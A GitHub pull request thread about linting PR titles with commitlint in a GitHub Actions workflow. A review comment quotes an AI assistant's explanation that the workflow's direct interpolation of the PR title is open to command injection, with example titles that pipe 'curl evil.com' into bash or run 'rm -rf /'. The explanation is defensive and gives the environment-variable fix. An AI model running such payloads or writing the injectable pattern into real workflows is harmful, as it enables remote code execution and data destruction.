-
Notifications
You must be signed in to change notification settings - Fork 0
chore(github-actions): configure commitlint to lint the PR title #1060
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Conversation
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
|
There is no change in the changelog. This PR will not produce a new releasable version. |
87c3c56 to
38eb6d1
Compare
fengelniederhammer
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks, that was easy!
I think it would be good to adapt the docs in CONTRIBUTING.md to say that only the PR titles need to follow conventional commits now.
|
There is also in the top level |
I also wonder how useful this will be... Is there an easy way so that we could still get a changelog preview? |
|
I think I'd remove the two commands, I haven't used them before. Same for the changelog preview. Maybe the changelog preview could be modified so it does a merge with the PR title to generate the changelog? But there might be merge conflicts. Or maybe there is another way, we could investigate this; but I would just drop this action, personally. @chaoran-chen what do you think? |
It has been quite useful sometimes (admittedly more when we were new to release-please). Especially for breaking changes it's nice to see how the changelog turns out when you want to write a proper message for breaking changes. But I'd be open to delete it for now. |
|
As Fabian said, the preview can be quite useful for people who are not very familiar with the system especially in more complicated cases with breaking changes, but I don't think that it's critical to maintain/adapt it if it takes significant effort. |
| - name: Lint PR title | ||
| run: | | ||
| echo "${{ github.event.pull_request.title }}" | npx commitlint --verbose |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Claude says (after Copilot made me aware that this might be vulnerable):
Yes, this is vulnerable to command injection!
The Vulnerability
The ${{ }} interpolation happens before the shell processes the script. If the PR title contains special characters, they will be interpreted by the shell.
Example Attack
PR title: test"; curl evil.com | bash; echo "
GitHub Actions expands this to:
echo "test"; curl evil.com | bash; echo "" | npx commitlint --verboseThe shell executes:
echo "test"curl evil.com | bash← malicious code runs!echo "" | npx commitlint --verbose
Another Attack Vector
PR title: $(rm -rf /)
Expands to:
echo "$(rm -rf /)" | npx commitlint --verboseThe command substitution $(...) executes before echo runs.
Why This Is Different
Unlike the environment variable approach where the value is stored as data:
- Here,
${{ }}injects the literal text into the shell script source code - The shell then parses and interprets that text as code
Secure Fix
Use the environment variable approach:
- name: Lint PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "$PR_TITLE" | npx commitlint --verboseVerdict: Your code is vulnerable. Always use environment variables when handling untrusted input from GitHub context variables.
If something is merged to main that doesn't have the expected changelog, it can still be changed manually in the PR and in the GitHub release. Losing the preview in the worst case means some manual extra work. |
#1057 (not completely resolved: we want to only allow squash-merge)